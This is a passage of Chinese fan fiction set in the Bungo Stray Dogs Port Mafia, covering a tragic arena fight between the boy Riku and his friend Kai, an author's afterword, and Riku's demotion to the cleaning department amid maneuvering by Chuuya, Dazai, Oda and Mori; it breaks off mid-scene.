凯的声音带着哭腔,攻势更狂,一记假动作后的肘击狠狠砸在他格挡的手臂上
“动手啊!15号!你在等什么!”
“21号!上啊!杀了那个怪物!!”
看客的烦躁,庄家的不满,老板的阴沉
他都看不见
15号的眼里,只有那张因为绝望而灰败的脸
保护他
毁灭他
两个截然相反的念头,此刻却诡异的汇聚成一股。
15号侧身滑步,同时一记扫腿扫向凯的支撑腿,试图让他倒地认输。
他用了组合拳,却每一次都刻意擦着要害而过。
他甚至用上了关节技,锁住了凯的手臂,想以此逼迫裁判终止比赛。
说不定,还有别的方法
说不定,不需要走到那一步……
但每一次,凯都用更凶悍的攻击回应他,同时将破绽和要害,一次次送到他面前。
“不够!”
凯的嘶吼带着血腥气
“用我教你的……那招!”
15号猛地摇头,眼中充满了惊恐。
“快!”凯再次冲了上来,一记重拳直轰他的面门
“别让我白死!……”泪水染湿了他的眼睛,“出招啊!……”
那一刻,凯教他的,用来“保护”的绝招,每个步骤都无比清晰地浮现在眼前。
「只有退无可退的时候,才能用它」
那瞬间,他明白了
凯选择让自己,成为了退无可退的代价
而保护凯。
唯一的办法,就是让他“痛快”地离开这个地狱。
只能由他亲手,送他离开
聚光灯下,15号的眼神,彻底死了
他动了
「近身」
他撞入凯故意敞开的怀中。
「破坏」
腿钩住了凯已然放弃抵抗的支撑腿。
「裸绞」
手臂如铁箍般卡死曾经无数次温柔拥抱过他,为他讲故事的脖颈。
「投摔」
时间仿佛被拉长。
他清晰地感受到凯的身体瞬间的僵硬,听到凯喉骨被压迫时发出的细微的“咯咯”声,看到凯在被锁死、向后摔去的过程中,投向他的最后一眼——
那里面,没有怨恨。
只有一丝解脱般的释然,和一点点……未散尽的温柔。
「我们一定能一起活着出去」
他曾许下的诺言,言犹在耳。
“砰!!”
凯的头颅重重地磕在了擂台上。
温热的液体,溅到了脸上。
世界彻底寂静了
随后是震耳欲聋的,足以掀翻擂台的欢呼。
血浸透了擂台。
15号站在原地,一动不动。
仿佛只要他不动,凯就还能站起来,揉着他的脑袋,叫他一声“小不点”。
仿佛,这只是一场普通的练习。
——
“凯………”
璃久拼尽全力勾住凯的小指,勾得很紧
他望进少年诧异的茶色眼睛
“再叫我一声……”
14岁的灵魂,躲在9岁的躯壳里,祈求着那个熟悉的称呼。
这个愿望,他整整想了四年
“再叫我一声小不点,好不好……”
凯愣住了
但小家伙哭的一塌糊涂的眼睛,让他心头一软
“好啊。”
脸颊传来粗糙却温暖的触感,泪痕被轻轻拭去。
视野里,是那个无比温柔,也让他无比心碎的笑容。
凯的声音很轻,却清晰地落进璃久耳中,
“小不点。”
就这一声。
简简单单的三个字。
让璃久构筑了四年的理智全部崩塌
无数个日夜,想诉说的千言万语
全部化作眼泪奔腾而出
他“哇”地一声,把头埋进凯的肩窝,全身因为悲伤而剧烈地抽搐
他埋在友人怀里,哭得像个终于找到归处的孩子。
“对不起……凯……对不起……”
“你会死的……都是我的错……”
“求你了……逃吧……一个人逃……别管我……”
他仰起脸,泪水淌进嘴角,用尽力气卑微乞求:
“答应我,快答应我啊……”
答应我,逃出去
然后带着我的份一起,活下去
但他却没有等到回复
下一秒,天旋地转。
温暖的怀抱,凯困惑且温柔的表情,未尽的话语,全部碎裂成光点。
璃久重重摔回现实,后背砸在冰冷的地面上。
他呜咽着,紧紧蜷缩成一团
“求你了……”
一切都消失了
只剩下那句永远没等到回应的恳求,在空荡的训练场里无声回荡。
13. 本章后记
——
写于第12章后
各位好,我是土豆蔬菜沙拉
出现在此,因为本作(请允许我这么称呼,盆栽是我断续创作12年来的第一部能称之为作品,而非情绪宣泄产物的存在)的第一篇章“园艺与拳手”已经结束了
此篇章中,最后三章是情绪的主角,前九章都是为了最后三章做铺垫而存在。
这个引子足够长,但我想如果耐心从第一章开始,一口气读到最后的话,一定会有沉重又释然的感觉吧(如果没有,那可能是我的笔力还不够)
和标题的画风不同,盆栽(包括我认为的原著风格)设定的基调就是沉郁的,哪怕到了后期两名主角冰释前嫌,并肩合作,甚至建立更亲密的关系时,也不会由阴转晴太多,毕竟立意已经暗示过各位了(笑)
在最后的结局中,揭示了璃久为何拥有过人体术却甘愿伪装底层的原因
和港口黑手党的大部分人(以中也、青木为代表)不同,璃久受到织田作和友人的影响,认为拳头、力量都是不得已的情况下用于保命的盾,而非用于主动占据上风、挤压他人空间的矛。这一点和中也自羊之王起树立的信念“力量作为手牌,就该堂堂正正的用出来”“拥有力量的人就该主动承担责任啊”可谓是南辕北辙,此外,璃久在入职测试中隐瞒了真实体术实力,在刚经历过背叛的“羊之王”中也看来,这无疑是对他,对组织最大的挑衅和不可饶恕的罪过
不过,推动这场对抗走向如此激烈的,其实还有第三个原因,但那也是在很久以后才会揭露的谜底了
在对抗的最后,16岁的准干部中也下达了让璃久转岗的命令,我可以偷偷告诉各位,很快他就会为自己的冲动和莽撞后悔,从数天后起,持续数年。
不过,多亏中也的冲动,让璃久的二重身份和过去提前“暴露”了,而倘若各位在阅读最后三章时足够认真,应该会发现璃久拥有的第三重身份,但那是以后才会详细展开的剧情了。
中也离开后,璃久「以某种形式」短暂的穿越回了过去,尽管与友人见面时间很短,但我依然希望在结局,能让辛苦了五万字的他实现一个持续四年的念想,而在凯离开后,继续在溶狱独自挣扎了三年的璃久一次也没有用过那一套连招。
最后,感谢在水坑边捡到璃久并将其带回的织田作和提供住处以及照顾的西餐厅老板,没有他们,璃久或许
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不会死去,但绝不会像开篇展示的一样,得以过上平凡但安宁的生活,至少不论在港口黑手党遇到多少困难,都会有一盏灯在等着他回家
至于远藤先生,在开篇就已经埋下了不妙的伏笔(笑),而璃久虽然非常在意他,却一直拒绝称呼他的名字,直到河边散步后,他才真正将园丁先生纳入自己的信任圈。远藤先生和璃久的羁绊,以及对璃久的栽培(双重意义上的)将在未来产生难以置信的质变
而比中也先一步接触璃久的太宰,对璃久的态度可以说相当暧昧,既感兴趣又有些忌惮,但看在织田作的份上,他并不会真的伤害璃久。不过,璃久想要以自己而非织田作的养子身份获得太宰的认可,还有很长的路要走
此外,在前十二章中已经埋下了不少伏笔,有些得到了解释,有些还依然埋在土中,有些或许永远都没有得到答案的一天,谁知道呢(笑)
最后的最后(请原谅这个第一次写后记而过分话唠的作者),插播一条提醒,盆栽将择期更新第二篇章,等待的日子里,作者会耐心打磨,并努力将“能完美传达这个世界情报”的作品送给各位
以上,感谢您的阅读
土豆蔬菜沙拉
14. 申请撤回昨天不懂事的我
—
星河在旋转
引力在塌缩
恒星在解体
生命在消逝
宇宙在荒芜
最后
归入沉寂………
—
明亮但不刺眼的光线打在眼皮上
身下,是一层薄薄的棉花毯,身上则是更舒服的……
“角蛋白,螺旋肽链,巨原纤维……”
是羊绒啊。
璃久蜷缩在布料里翻了个身
身体没有那么热那么疼了。
体内那个永动机熔炉也平和不少
就像熄灭了一样
……熄灭?
他睁开眼
小木椅,小书桌,还有太宰治
……太宰治??
他从床上弹起,裹紧毛毯,整个人蜷缩到床角
面前那人穿着黑风衣,右眼裹着绷带
造型一如既往
除了他脸上的神情
向来阴沉或戏谑的港//黑干部
正带着一脸观察稀有标本的神情趴在床边盯着他
“别紧张呀~”
那团黑色生物开口了,声音罕见上扬,带着真情实感的愉悦
“织田作在楼下煮粥呢,马上就来哦——”
璃久沉默着,依旧警惕
太宰的话,十句有十句都是假的
他上下扫了一眼对方
170cm左右的身高,体型纤弱,肌肉含量低
结合织田作对他的评价,不爱动
别说一个,二十个太宰都打不过他
因为他是………
想到这儿,璃久的眸光陡然间黯淡下来
「园艺科?就你这样的怪物也配?」
「控制不好自己力量的人就是最下贱的垃圾!」
床边的手紧握成拳,又无力的松开
他是怪物
他的秘密被发现了
还被命令去扫厕所
织田作,远藤先生,都会蒙羞吧?
都会害怕他,想要远离他吧……
酸涩涌上心头
璃久的视线掠过太宰,深深望着这间呆了193天的小房间
或许这就是最后一次能睡在这了。
“璃久?醒了?”
身体一颤
璃久对上织田作的眼睛,又狼狈的移开。
“诶呀呀,快哭了呢,是在脑子里上演被丢出去的苦情戏了吗?”
“太宰。”
织田作看了太宰一眼,把手里的托盘放到小书桌上,又趴到床下抽出小折叠桌
他吹掉上面的灰尘,头也不回的说了句
“太宰,帮我去厨房拿下抹布。”
太宰盯着织田作的背影,沉默了片刻
“好吧~我去拿,毕竟织田作刚才,可是答应了我一个大愿望哦-”
他意有所指的看了眼璃久,转身蹦蹦跳跳的下楼了。
这下房里只剩下两人
璃久看着那张小桌子,眼眶发酸
“织田作………”喉头发紧,“对不起………”
额头一凉
他抬头,对上织田作平淡沉静的眼眸
“没那么烧了。”
织田作收回手,盘腿坐到地板上,仰头看着裹在毯子里的璃久
窗外,鸟鸣清脆,阳光正好
“昨晚八点,你没有回我消息,不在这,也不在花园。”
“我在大楼里正好遇到远藤先生,他咳得很厉害,也在找你,说你从上午十点多被中也带走后就没消息。”
“后来我们拜托了训练场门卫,开了门,我们才——”
璃久还沉浸在自责中,没有注意到织田作的欲言又止。
“抹布来啦~”
太宰如黑猫般轻巧滑入
抹布划过一道抛物线,稳稳落在桌子中间。
织田作收回目光,将桌子上的灰尘全部擦去,又把小托盘放在桌子上。
“能自己坐吗?”
托盘里,是还在冒热气的粥,一碟黄瓜和腌萝卜,以及一小杯橙色汽水
橙汁味的……
眼泪唰的一下就下来了。
“璃久?”
织田作愣住了,“不舒服吗?还是不想吃?”
璃久摇头,一动不动,只是无声地落泪。
“是觉得自己不配吗?”
边上太宰忽然开口,声线低沉,又含着点严肃的味道
“‘我给织田作添了大麻烦,织田作怎么还能把我捡回来,还给我喜欢的食物,他真是个大傻瓜,就该像丢垃圾一样把我丢出去,顺便说一句再也不要看见我’”
“你就是在这样侮辱他的决定吗?望月璃久君?”
被叫到全名,璃久抖了一下,条件反射地反驳
“我没有……不是……”
不是侮辱
难道不应该,就是这样的吗?
“真无趣。”
太宰无聊的耸了耸肩,“看来你根本不懂他。”
他转身,毫不留恋的离开了房间。
织田作看着被关上的门,又看了眼哭的上气不接下气的璃久
手边没有现成的东西,他只能用指腹替养子抹去泪水。
“织田作……太宰他……难道不………”
“璃久。”
织田作打断了璃久的话,语气严肃,“我带你回来,就不会再丢出去。”
“无论什么情况,都不会。”
他的口吻很普通,仿佛这是如同“太阳会从东边升起”一样的客观事实。
“我听太宰说了,中也下了指令,让你去打扫厕所。”
手里的眼泪越来越多,顺着手背流入袖口。
“但璃久,扫厕所和种花,做咖喱一样,都只是一份工作。”
他没有再说话
直到璃久的抽噎声变小,他才直起身,将人轻松抱到床下。
“先吃饭。”
织田作将勺子推到璃久手边,“什么时候都不能饿肚子。”
热气匍匐了璃久的视线
他低下头,大口大口的吞咽着,呛咳中混杂着几声轻不可闻的哽咽
这次,织田作没有制止他
只是在他被呛得太厉害时,才拍一拍他的背。
“慢点吃,明天早餐,老板托我们尝尝试验的手工咖喱包。”
——
将璃久哄睡后,织田作顺着消防楼梯下到1楼
远远就听到某个咋咋呼呼的声音
“哇,老板,你的咖喱里是放了岩浆了吗,真的好辣啊——”
“哈哈,织田作平时吃的都是这一款哦!”
果然没走啊。
太宰吐着舌头,朝织田作晃了晃脑袋
“果然是港口黑手党最古怪的男人呢,从不杀人,爱吃咖喱,收养了六个孩子的前杀手织田作之助。”
“论古怪我可比不上你。”
织田作问老板要了杯冰水,也坐了下来。
“小望月没事吧?”
“没事,已经睡了。”
“那就好。”老板边洗餐盘边叹了口气,仿佛在回忆什么不可名状之物。
“刚才谢了,太宰。”
织田作朝太宰点了点头
他指的是帮璃久退烧这件事
璃久由于体质原因,从来没有生过病
这次的高烧来势汹汹,让他也吓了一大跳。
而帮他退烧的,不是什么特效药,而是太宰的异能
“织田作。”
太宰的声音低沉了些,“之前在Lupin的时候,你只告诉我他’安静’,‘爱吃咖喱’……可没告诉我,他身体里藏着能烧毁自己的太阳呢。”
在触碰到璃久的瞬间,太宰就感觉到了
那不是由于疾病引起的高烧
而是那只小猫体内的某股力量产生紊乱,无法及时疏解而产生的过热现象
其强度,即使是太宰,在无效化的过程中也遇到了不小的阻力。
“我的胳膊还酸着呢。”
他夸张地抬了抬胳膊,“小璃久身边的空气,不知为何好像变得格外重,他周围的光线,角度也发生了折射吧?盖在他身上的毯子,有一瞬间似乎也变得透明了哦。”
“织田作,这可不是发烧就能解释的现象。”
太宰看向他最重要之一的友人,鸢色的眼眸中没有一丝光亮。
“他有异能,对吧。”
死寂
彻底的死寂
只有老板洗碗盘的哗哗流水声。
最终,率先打破沉默的是织田作
如同之前在lupin时一样
“是,但又如何?”
“呜哇,织田作真的好过分!”
太宰扑倒在吧台上,像个没要到糖的孩子
“这么有趣的事情,怎么不早告诉我!害我白白浪费了那么久能观察小璃久的好机会!”
他没有提一句「这是在欺骗组织」,也没有说任何「我要告诉森先生」之类的威胁
他只是,单纯又间接的诉说着被朋友隐瞒而导致的失落。
织田作看着只用后脑勺对着他的人,缓缓开口。
“因为我承诺过。”
“我承诺过,会帮他保密,在他准备好之前。”
在他准备好,承认,并将这个秘密公之于众之前。
“太宰。”他看向太宰,眼神郑重,“不是不信任你,也不是要欺骗你。”
“因为璃久是我的孩子,作为他的监护人,我需要对他负责。”
很久很久,直到织田作以为太宰不会再开口
“……知道啦,我才没有生气呢。”
闷闷的声音从太宰的臂弯里响起
“嗯。”
织田作又要了一杯冰水,推到太宰面前。
“之前答应过你的,还作数。”
“诶?!真的吗?”太宰瞬间精神了,“也就是说,我可以随时随地用各种方式观察那只小猫了吗?!”
“必须我在场的前提下。”
“好吧——”太宰又泄气的耷拉下来,但不到一秒就精神了,“但那样也很不错啦!”
“之前跟你说的——”
“已经做好啦!”太宰掏出手机,屏幕朝向织田作
最新的消息内容只有简单的三个字
「已办妥」
这是织田作在找到璃久后,和太宰进行的交易
织田作同意太宰在有限的情况下接近璃久
而太宰除了帮忙退烧外,还答应帮织田作删除B3训练场的监控。
以及,不让任何第三人知道,璃久异能的存在。
“呜哇?”
太宰正要说什么,他的手机忽然震动了下
“啊哈,那只小蛞蝓,看来是酒醒了,知道自己干了什么蠢事呢~”
他哼着不成调的歌谣,将手机重新举起面向织田作——
——
半小时前,47楼,准干部办公室
电脑屏幕已经亮了半小时了
中也却一个字都没看进去
他关掉屏幕,走到窗前
脚下是波光粼粼的横滨湾
阳光和煦,他却觉得刺眼,又把窗帘拉上,像头烦躁的困兽在房间里踱步
面前是地毯,办公桌,酒柜,皮沙发
但他眼前只有一个东西
那张脸
那张被重力狠狠撩倒在地时,空洞又死寂的脸
望月璃久
今天本该是他到清洁科报到的第一天
但清早,一封请假条就顺着层层流程,交到了他中原中也的手里
「请假条:姓名—望月璃久,请假原因:病假(因惊吓而导致的高烧),需请假3天」
惊吓?
中也简直要被这个蹩脚的理由气笑了
能在溶狱那种地方活下来,还拿到两次冠军的“影蚀”,会因为他简单的一次试探而受到惊吓?
但下面的担保人签名是织田作之助
中也多少从部下和那个青花鱼嘴里听过些他的传闻
永远不杀人的mafia,不会吐槽更不会说谎
那就该是真的了
而不是为了逃避命令而找的借口
呵,这就受不了了?他还没动真格的呢!
还以为那小子是块钢铁,结果人如其名,轻轻一碰就直接碎掉了?
(注:Riku有玻璃的意思)
中也努力用嘲讽掩盖自己内心一闪而过的寒意
那最后一招,确确实实让他感受到了杀气
如果他没有重力异能,没有足够快的反应力和体术直觉
如果换作组织里的其他人
或许早就已经——
他摇摇头,重新重重的坐回办公椅上
刚一坐下,他就察觉到了不对劲
杀气
一个没有异能,全靠体术就能给予他重力使死亡威胁的小鬼
暂且不论他伪装的动机
拥有这般实力
不管是放在花园,还是扔到厕所,都是对有效战备资源极大的浪费
让一个顶级(哪怕他没有异能)士兵不是去前线,而是去扫厕所,简直滑天下之大稽!要是传出去,整个组织的名声都要沦为笑柄!
厕所那种地方鱼龙混杂,而且是他监管的盲区
万一那小子又抽风,惹出更大的麻烦怎么办?
首领要是追究起来,他中原中也(作为第一个揭发者)就是第一责任人!
中也扶额暴躁的吼了一声
“该死的!”
他真服了自己
最正确的做法,难道不该是把那小子抓过来,放在自己的手下吗
这样做,退可严加看管,防止他惹事,进可打磨试炼,充分发挥他的战斗价值
而他,竟然因为一时之气,做出了最愚蠢,最不负责任的决断
还怕生效的太晚,怕那小子跑得太快,连夜下了公函发到清洁科。
他用力抓了抓头发,目光再次落在桌上的那张请假条上
请假条
三天
意味着那小子还没报到,调令还没落地
还来得及!
他一跃而起,匆匆拿过架子上的礼帽,脚下生风
他要去找首领,重新申请调令
然后亲自把那只小怪物揪出来,扔进最残酷的训练场,一点点锻造成属于港口黑手党,属于他中原中也的利刃。
——
50层,首领办公室
“Boss!——”
森鸥外正在修剪窗边的一小盆绿植,闻言抬头
“哦呀,中也君,这么着急过来。”
他意有所指看
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了眼中也背后慢了一步汇报的守卫,“有什么事吗?”
“是,关于昨晚我签发的一份调令。”
中也在桌前站定,语气急促,礼帽都没摘,“申请撤回。”
“昨晚,是关于园艺科的那名新人?”
“是,望月璃久,我申请将他调入我的直属部队。”
“哦?”
森鸥外放下剪刀,走回桌边坐下
“中也君,我记得是你亲自下令,将他贬至清洁科,公文还是特批加急的,不到12小时就改变主意了?”
“是!当时是我考虑不周,一时气话,但经过后续评估,我认为其人体术存在特殊价值,放任其在清洁科是对组织战力的浪费,但将他调入我的直属部队,由我亲自监督和打磨,必定能将他培养成有用的兵器!”
森鸥外轻轻唔了一声,双手交叉抵着下巴
“有用的兵器啊……听起来很不错呢,但是,中也君。”
他话锋一转,“我听说,那孩子似乎因为你的小小评估,受了惊吓,现在正在休养中呢。”
中也脸色一凝
“你觉得,一个会因为上级‘简单试探’就受到‘惊吓’而高烧不起的‘兵器’,它的‘韧性’是不是有些堪忧呢?”
中也瞬间语塞。
那张请假条,原本被他视为救命稻草的,现在竟成了砸他脚的石头!
“而且,港口黑手党是一个讲究秩序的地方。”
森鸥外语气依旧温和,却字字珠玑
“上级的命令,即便是气话,一旦正式下达,就如同出鞘的刀,轻易收回,会损害权威性,尤其是对于你这样年轻的准干部而言,学会为自己的每一句话、每一个决定承担后果,是至关重要的修行哦。”
潜台词再明显不过:你的冲动,需要自己买单。
“可是,他……”
中也还想争辩,试图强调璃久那瞬间爆发出的危险性。
“好了,中也君。”
森鸥外轻轻打断了他,“我知道你是为了组织着想,这份心很好。不过,关于望月璃久君的处置,就照旧吧。让他先去清洁科待一段时间,说不定,平凡琐碎的工作比起刻意打磨更能判定和淬炼出一件兵器的价值呢?”
他重新拿起钢笔,又轻轻放下
“……是,属下明白了。”
中也站在原地,用力往下拉了拉帽檐,迈着比来时沉重数倍的步伐离开了办公室。
——
「中原干部已前往首领办公室」
织田作念出了短信内容,“什么意思?”
“意思很明显啊~蛞蝓的调令才签发不到12小时,因为小璃久请了三天病假,理论上遵循报到后自动生效原则,现在还在窗口期内哦。”
“难道。”
一个离谱却又合理的猜测浮现在织田作心头,“他后悔了?”
太宰喝了口水,缓解喉头的辛辣:“那只蛞蝓大概终于回味过来小璃久的价值,正想着怎么把人拐到自己黏糊糊的巢穴里吧。”
这下织田作听懂了
中原干部是想把人调到他手下的直属部队。
“不行。”他立刻起身,风衣扣子都没系紧。
璃久不能去那种地方
他的精神还这么脆弱,对血与火这么厌恶
去那种地方,不出三天就会崩溃的
“诶诶,等等嘛——”
太宰不得不跳下椅子拉住着急的友人,“森先生不会同意的哦。”
“为什么?”
“很好懂啊。”
太宰的笑容在阳光下尤为刺眼
“因为小小的试探就会发高烧,森先生怎么会认为这是有用的兵器呢?而且出口的命令再轻易收回,不仅有损蛞蝓的威信,也是在打森先生的脸哦。”
“退一万步说,就算森先生真的认可璃久君的价值,如果把这么强力的兵器放进武斗派的队伍里——”
他双手举到与肩齐平,弯曲小臂,手掌向上,“天平的平衡就会被打破,这对他对于我和中也的制衡,可是百害而无一利哦。”
「伪装成石子的陷阱,偶尔也会绊倒自以为是的猎人」
森先生都这样“委婉阻止”过他了,又怎么可能把人推到中也那边
“这样。”织田作收回迈出去的步子,重新坐回吧台。
“是啊。”太宰也顺势坐了回去,“虽然很遗憾,但这场争夺里,最后的赢家只会是森先生吧。”
“太宰,难道你——”
“是啊。”太宰歪头笑了笑,“这么有趣的小家伙,可不止是中也想要哦。”
“不行。”织田作再次拒绝,但语气却不像刚才那么强硬。
“我知道你会拒绝啦。”
太宰嘟起嘴,语气黏黏糊糊的
“哎,明明把小猫放到我的队伍里才是最安全的呢~”
他不会让璃久上前线,顶多安排些简单的文书工作。
“不会。”织田作斩钉截铁,“他在清洁科才是最安全的。”
“诶?为什么嘛。”
“他现在需要的是‘被遗忘’。”
织田作深深地看着他,“不管是跟了你还是中也,都会成为活靶子。”
确实,不到一个月就能进入干部的直属部队,这在港//黑简直是坐了火箭的升职速度
何况还是个(至少成绩单上)四门科目不及格的废柴
怎么可能不会引起非议。
“很敏锐嘛,织田作。”
太宰一点不生气,反而心情很好的笑了笑
“确实,所以那只小猫,等病好之后,只能先乖乖去扫厕所了吧。”
“嗯,但不管他做什么,都是我的孩子,这里永远是他的家。”
——
撤回调令啊
看着大门缓缓关上,森鸥外打开抽屉,重新抽出了那份成绩单
属于望月璃久的成绩单
“果然。”他缓缓摩挲着上方,体术D-的成绩
能被港//黑的体术大师,心高气傲的16岁准干部注意到的“好苗子”,不可能仅仅是D-
结合之前在中庭的偶遇,和太宰对他非同寻常的兴趣。
他几乎能确定
这个名叫望月璃久的孩子,伪装的水平,背负的秘密都超出了入职考核的成绩
正因为如此,他才不能答应中也的请求
将一枚引信不明的炸弹交给一个虽然强大却冲动的十六岁少年?这绝非明智之举。
激进的“打磨”很可能导致提前引爆,玉石俱焚。
至于太宰……那孩子的心思更是深不见底,把他感兴趣的谜题交给他,无异于将炸弹交给一个最喜欢拆解精密仪器的疯狂科学家,结果同样是不可预测的。
所以,最好的办法就是——
“放在清洁科,就很好。”
森鸥外将那份成绩单轻轻放回抽屉深处,如同藏起一个危险的秘密。
那里无人关注,远离核心,既能让他处于组织的监控之下,又能最大限度避免他被其他势力过早地触碰和刺激。
让他沉在最底层,让他被所有人遗忘
至少,在他看清楚这枚“炸弹”的真正构造和用途之前,这是最安全最稳妥的“保管”方式。
不过——
他倒是很期待。
那孩子究竟能把这座大楼,“打扫”到什么程度呢。
15. 望月璃久,升变——
——
三天后,清晨六点
璃久独自站在三号大楼前
27天前,他在这里正式加入了港口黑手党
27天后,他又回到了这里
以被处分者的身份
「望月璃久,因故,于4月28日起被调至清洁科,逾期不至,按叛逃罪论处」
一行字,让他的职业生涯(如果这可以被称之为职业的话)从天上掉到了地下
字面意义上的
他两手空空走进大楼
安全通道依旧是昏暗,潮湿,满是霉味
27天前,他怀着不安和一丝期待,小跑着穿过
27天后,他走得很慢,每一步都如千斤重
可走得再慢,路也总会到头。
“叮。”
他踏入轿厢,按下48楼
按钮短暂的亮了下,熄灭了。
“小子?你没事吧?这是向下不是向上!”
悬在按键上的手指颤抖了下
他沉默着,按下B1楼
门关上了,轿厢下移
没两秒又响起提示音
“叮。”
门刚打开一条缝,一只手就伸过来,啪啪的按着关门键
“一层还坐什么电梯?!耽误时间啊!真是晦气!”
璃久从缝隙中挤出电梯
还没站稳,胃就一阵翻江倒海
“唔!———”
消毒水的刺鼻,垃圾的腥臭,陈年油垢酸腐的混合气体直冲鼻腔。
与溶狱后台那血腥,汗臭与廉价清洁剂的混合物如此相似。
他站在原地,足足缓了半分钟
喉头快速滚动,将恶心和眩晕感一寸寸压回胃部,才推开三步远的防火门。
——
B1区西侧,清洁科
没有阳光,只有一闪一闪的白炽灯。
走廊边金属公告栏被贴的密密麻麻
一众泛黄的纸张中,最中央,最显眼的位置,贴着一张崭新A4纸。
「人事调令:望月璃久(原园艺科)」
「调任:清洁科(第三栋楼区)」
「生效日:即日」
没有原因,没有签名,只有左上角一串冰冷的档案编号。
纸张贴得极其工整,边缘被压得死死的,仿佛生怕它会被风吹走,或者被人撕下。
周围已经有几个清洁工在窃窃私语
“诶哟,看看这是谁,港口黑手党头号‘园艺师——’驾到啦——”
“啧啧,从总部48楼掉到这儿,跟从天上直接栽进粪坑没区别吧?”
“听说是顶撞了中原大人才来的,真是活腻了。”
“能捡回条命只是来扫厕所算好的了,上次那个回呛太宰大人的……”
“嘘!不要命了说这个……”
声音不大不小,刚好够他听见。
但璃久只是沉默,仿佛他们在说另一个人
“叮铃铃——”
铃声急促,人群作鸟兽散。
等走廊空无一人,他才走到公告栏前,碰了碰那张调令。
中原中也
港口黑手党的体术大师
让自己一个沙包去通马桶
但愿他办公室的洗手间
永远畅通无阻。
——
“望月君,欢迎加入清洁科。”
办公室内,科长黑田胜将一套深蓝色清洁工制服递给璃久。
衣服有些旧了,但叠得棱角分明。
“这是你的制服,临时定做的最小码,应该合身。”
黑田注视着他,镜片后目光温和
“希望你能像对待园艺科的花圃一样,爱护你的工具和责任区。”
见璃久沉默不语,他笑容不减,只轻咳一声
“明白了吗?”
直到璃久点头,他才清了清嗓子继续道
“我看过你的档案,安静,能吃苦,这很好,我们清洁科就需要脚踏实地的人,毕竟把最基础的工作做到极致,本身就是一种才能。”
他拍了拍璃久的肩,“山田会带你熟悉区域和流程。好好干,我看好你。”
最后四个字被加了重音,沉甸甸的落到肩上
但璃久只是平静点头,抱着制服转身
那一瞬间,一道剥离了伪装的打量目光落在肩头
冰冷,直白
审视,评估,计算价值
庄家和贵客“验货”时,也是这种目光
他在评估我
璃久脚步不停,沉默的走进更衣室
他利落的换上制服,走出房间时,黑田已经不见了
取而代之的是一个四十多岁,眼神浑浊的中年男人。
生面孔,不在刚才那群人中间。
“跟我来。”
没有多余的话,只有三个字。
璃久跟着山田走出科室,穿过走廊
防火门后,伴随着隆隆的机械运作声,比刚才浓烈数倍的腐臭味呼啸而来
太臭了
璃久不得不用手捂住鼻子,跟着山田拐进左边的小房间
那里摆着两辆清洁车
物品的内容和朝向摆放完全一致,轮毂的朝向误差不超过厘米。
说是复制粘贴也不为过。
璃久的脚步停顿了半秒,又若无其事的跟上,
车的高度几乎到胸口。
他调整了一下姿势,跟着已经推起车的山田重新上电梯。
“手册在车里。”
他没来得及看,因为电梯门很快就开了
1层
两辆车在角落男厕门口停下
清晨六点半,人不多,甚至能算得上干净。
山田将车停在不会打扰通行的地方后,取下两块指示牌
一块“清洁中”,一块“小心地滑”,将它们端正地放在门口两侧。
“牌子,是护身符。”
他言简意赅,“少了,出了事,就是你的错。”
接着,他拿起一个喷壶和一块最粗糙的红色抹布。
“地面和隔间外。”
他边说边演示,用喷壶在离表面20cm处喷洒清洁剂,形成均匀薄雾,然后用抹布以稳定的S形轨迹擦拭
“高度,20cm,不能差,”
“不能太湿,留水渍。不能太干,擦不净。”
做完,他换了一块细腻的蓝色抹布。
“台面,镜面,水龙头。”
他用抹布包裹住龙头,顺着弧线旋转擦拭,连基座与台面接缝的狭窄处也不放过,最后用抹布一角迅速擦干,镜面上没有留下一个指纹。
“光亮,无痕,无水渍。”
然后,他换上第三块白色抹布,戴上了一次性橡胶手套,走到便器前
“最后一步。”他强调,“用这块布。”
璃久默默看着他演示如何用清洁剂彻底喷洒内部,并用专用刷子刷洗,最后用那块浅色抹布,将门板,冲水按钮,纸巾架全部都擦了一遍。
“顺序,从外到内,从上到下,从净到污。乱了,就是白干。”
“专布专用,绝不能用错,不然也是白干。”
璃久对上山田的目光
依旧浑浊,却带着一丝居高临下。
“视觉,看不到任何污物,毛发,水渍。嗅觉,闻不到任何异味,只有消毒水味。触觉,”
他用手套指尖划过隔间门框,展示上面没有任何灰尘,“摸不到一点灰。”
“这是手册的标准。”
璃久竖起耳朵
“但黑田科长的标准,”
山田顿了顿,语气里听不出是认同还是麻木,“就是没有标准。”
没有标准
璃久想到那张笑脸,和落到身上的打量目光
有的
他默默想着
让他满意,就是标准。
山田将浅色抹布扔进车下挂着的“待清洗”污物袋,脱下手套。
“现在,你来做一遍。我会看。”
——
至此,璃久开始了他新的职业生涯。
他的上班时间从九点提前到了六点
需要在九点前完成三号大楼1楼,3楼和5楼,一共6间男厕(包括48个隔间,24个垃圾桶,24面镜子)的第一轮彻底清洁,
直到下午两点验收交班为止,他需要不断在这三层楼之间来回穿梭,进行不间断清扫,几乎没有坐下的时间。
——
上工第四天,清晨七点。
三楼,东边男厕
璃久正在擦拭洗手台。
“哟,我当是谁呢?这不是我们大名鼎鼎的新人王望月璃久吗?”
是青木
他穿着崭新的制服,肩上的船锚图案从2个变成了1个
入职不到一个月,他就升入了行动组一队,距离入职黑蜥蜴只差一步之遥。
他靠在门框上,整了整已经一丝不苟的衣领。
河边妖风的诡异感还残留在心头
他清了清嗓子
“从总部48楼的花园掉到3楼的茅坑,这滋味如何啊,‘园艺师’?”
璃久沉默,仿佛对方只是空气。
“啧——”
见人毫无反应,青木怒从心起
他大步上前,故意将水龙头开到最大
“哗——”
手腕一甩,一大片水花溅到刚擦干的台面上。
“入职一个月,还没学会怎么和前辈打招呼吗?”
“还是说,扫厕所把你最后那点骨气也扫没了?”
他凑近一步,压低声音
“中原大人眼光果然准,废物就该呆在废物该呆的地方。”
璃久的手收紧了一下,依旧没有抬头。
青木得意地直起身,扬声嘲讽
“你就好好在这里,用你这辈子,把这些便池全部给我舔干——”
他的声音戛然而止。
余光中,一个黑色风衣,裹着绷带的青年正倚在门框边。
是太宰治。
他双手插在口袋里,声线慵懒。
“哦?一大早的,是谁在这里发表这么……有‘味道’的就职演说啊?”
“太——太宰先生!我……我——不知道您……在这里……”
见鬼了!干部怎么会来后勤楼的厕所——
“嗯,看得出来。”
太宰看向他的肩章,船锚在瓷砖的反射光下闪闪发亮。
“升上一队了?恭喜啊。看来是之前的任务……同伴牺牲后空出了位置,让你捡了便宜?”
青木的脸由白转青。
同伴——
太宰的话,精准刺进他最痛的伤口。
“新人升职三把火,可以理解。”
太宰的声音不高,慢悠悠的,
